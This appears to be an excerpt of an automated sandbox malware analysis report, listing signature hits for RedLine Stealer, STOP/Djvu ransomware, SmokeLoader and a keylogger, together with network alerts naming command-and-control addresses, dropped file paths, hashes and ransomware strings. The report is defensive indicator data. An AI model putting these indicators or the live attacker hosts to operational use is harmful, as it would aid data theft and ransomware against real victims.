16.3.226F.exe.d030000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.3.226F.exe.d030000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
16.3.226F.exe.d030000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.3.226F.exe.d030000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
15.2.2560.exe.4a015a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
15.2.2560.exe.4a015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.2560.exe.4a015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.2560.exe.4a015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.226F.exe.16f3fc0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.2.226F.exe.16f3fc0.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x18868:$pat14: , CommandLine: 0x118a1:$v2_1: ListOfProcesses 0x11680:$v4_3: base64str 0x12203:$v4_4: stringKey 0xff63:$v4_5: BytesToStringConverted 0xf176:$v4_6: FromBase64 0x10498:$v4_8: procName 0x10c13:$v5_5: FileScanning 0x1016c:$v5_7: RecordHeaderField 0xfe34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
16.2.226F.exe.16f3fc0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.2.226F.exe.16f3fc0.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x7a984:$s5: delete[] 0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
16.3.226F.exe.16f3fc0.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.3.226F.exe.16f3fc0.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x18868:$pat14: , CommandLine: 0x118a1:$v2_1: ListOfProcesses 0x11680:$v4_3: base64str 0x12203:$v4_4: stringKey 0xff63:$v4_5: BytesToStringConverted 0xf176:$v4_6: FromBase64 0x10498:$v4_8: procName 0x10c13:$v5_5: FileScanning 0x1016c:$v5_7: RecordHeaderField 0xfe34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
16.3.226F.exe.16f3fc0.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.3.226F.exe.16f3fc0.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x7a984:$s5: delete[] 0x1a468:$pat14: , CommandLine: 0x134a1:$v2_1: ListOfProcesses 0x13280:$v4_3: base64str 0x13e03:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12813:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
15.2.2560.exe.4a015a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.2.2560.exe.4a015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.2560.exe.4a015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.2560.exe.4a015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.2560.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.2.2560.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.2560.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.2560.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.3.fontview.exe.55a0000.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
19.3.fontview.exe.55a0000.2.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
24.3.rundll32.exe.2275d6f0000.11.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 30 entries

Snort Signatures

ETPRO TROJAN Rhadamanthys Stealer - Payload Response - Source IP: 109.206.243.168 - Destination IP: 192.168.2.3

Timestamp:	109.206.243.168192.168.2.380497352853001 01/25/23-09:43:38.668137
SID:	2853001
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Rhadamanthys Stealer - Data Exfil - Source IP: 192.168.2.3 - Destination IP: 109.206.243.168

Timestamp:	192.168.2.3109.206.243.16849736802853002 01/25/23-09:44:09.970426
SID:	2853002
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Rhadamanthys Stealer - Data Exfil - Source IP: 192.168.2.3 - Destination IP: 109.206.243.168

Timestamp:	192.168.2.3109.206.243.16849760802853002 01/25/23-09:44:49.715501
SID:	2853002
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 89.208.103.88

Timestamp:	192.168.2.389.208.103.8849733375382043231 01/25/23-09:43:35.518560
SID:	2043231
Source Port:	49733
Destination Port:	37538
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Rhadamanthys Stealer - Payload Download Request - Source IP: 192.168.2.3 - Destination IP: 109.206.243.168

Timestamp:	192.168.2.3109.206.243.16849735802043202 01/25/23-09:43:38.621799
SID:	2043202
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 89.208.103.88

Timestamp:	192.168.2.389.208.103.8849733375382043233 01/25/23-09:43:14.099188
SID:	2043233
Source Port:	49733
Destination Port:	37538
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 89.208.103.88 - Destination IP: 192.168.2.3

Timestamp:	89.208.103.88192.168.2.337538497332043234 01/25/23-09:43:16.162357
SID:	2043234
Source Port:	37538
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dipcj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: potunulit.org

Source: unknown

HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 19.3.fontview.exe.55a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.fontview.exe.55a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.rundll32.exe.2275d6f0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.386704960.00000000053B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.480168588.000002275D6F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.535647654.0000019D88EF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.478098878.000002275D46D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontview.exe PID: 4020, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_00402830 Concurrency::cancel_current_task,Concurrency::cancel_current_task,Concurrency::cancel_current_task,OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,SetClipboardData,CloseClipboard,CloseClipboard,GlobalFree,OpenClipboard,GetClipboardData,CloseClipboard,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,

14_2_00402830

Source: C:\Users\user\AppData\Local\Temp\336E.exe

14_2_00402830

Source: 2560.exe, 0000000F.00000002.362461879.0000000002F6A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: fontview.exe, 00000013.00000003.400623587.000000000564B000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: NtUserGetRawInputData

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 17.2.2560.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.2560.exe.4a015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.2560.exe.4a015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.2560.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2560.exe PID: 2136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2560.exe PID: 3152, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 16.3.226F.exe.d030000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.ngentask.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.2560.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.2560.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.3.226F.exe.d030000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.3.226F.exe.d030000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.2560.exe.4a015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.2560.exe.4a015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.226F.exe.16f3fc0.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.226F.exe.16f3fc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.3.226F.exe.16f3fc0.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.3.226F.exe.16f3fc0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.2560.exe.4a015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.2560.exe.4a015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.2560.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.2560.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000F.00000002.361737434.0000000002EA1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.577154071.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.403103692.0000000002C80000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.290961017.0000000002C60000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.577358269.0000000000678000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: 2560.exe PID: 2136, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 2560.exe PID: 3152, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5980 -s 648

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0040906E	0_2_0040906E
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_004170F5	0_2_004170F5
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0041449A	0_2_0041449A
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00415940	0_2_00415940
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0040D92B	0_2_0040D92B
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00413A12	0_2_00413A12
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_00413F56	0_2_00413F56
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_0040C72C	0_2_0040C72C
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0040906E	13_2_0040906E
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_004170F5	13_2_004170F5
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0041449A	13_2_0041449A
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00415940	13_2_00415940
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0040D92B	13_2_0040D92B
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00413A12	13_2_00413A12
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_00413F56	13_2_00413F56
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_0040C72C	13_2_0040C72C
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_004041D0	14_2_004041D0
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00411470	14_2_00411470
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_004010E0	14_2_004010E0
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00406150	14_2_00406150
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_004021D0	14_2_004021D0
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0042429D	14_2_0042429D
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0042C5FE	14_2_0042C5FE
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0040D600	14_2_0040D600
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_004266B9	14_2_004266B9
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00402830	14_2_00402830
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0040C9A0	14_2_0040C9A0
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00419A6E	14_2_00419A6E
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0041CAF0	14_2_0041CAF0
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00409B10	14_2_00409B10
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0042AB9A	14_2_0042AB9A
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0040CC40	14_2_0040CC40
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00401D90	14_2_00401D90
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0040CE90	14_2_0040CE90
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00421F48	14_2_00421F48

Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: rtutils.dll

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\226F.exe 768E12A9AF62F5F83F6D6FF64C6C10E37834FC202E0E4D609C80CE7FACC8C534

Source: aw9Ynwqd1x.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 16.3.226F.exe.d030000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.ngentask.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.2560.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.2.2560.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.2560.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.3.226F.exe.d030000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 16.3.226F.exe.d030000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.2560.exe.4a015a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 15.2.2560.exe.4a015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.2560.exe.4a015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.226F.exe.16f3fc0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 16.2.226F.exe.16f3fc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 16.3.226F.exe.16f3fc0.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
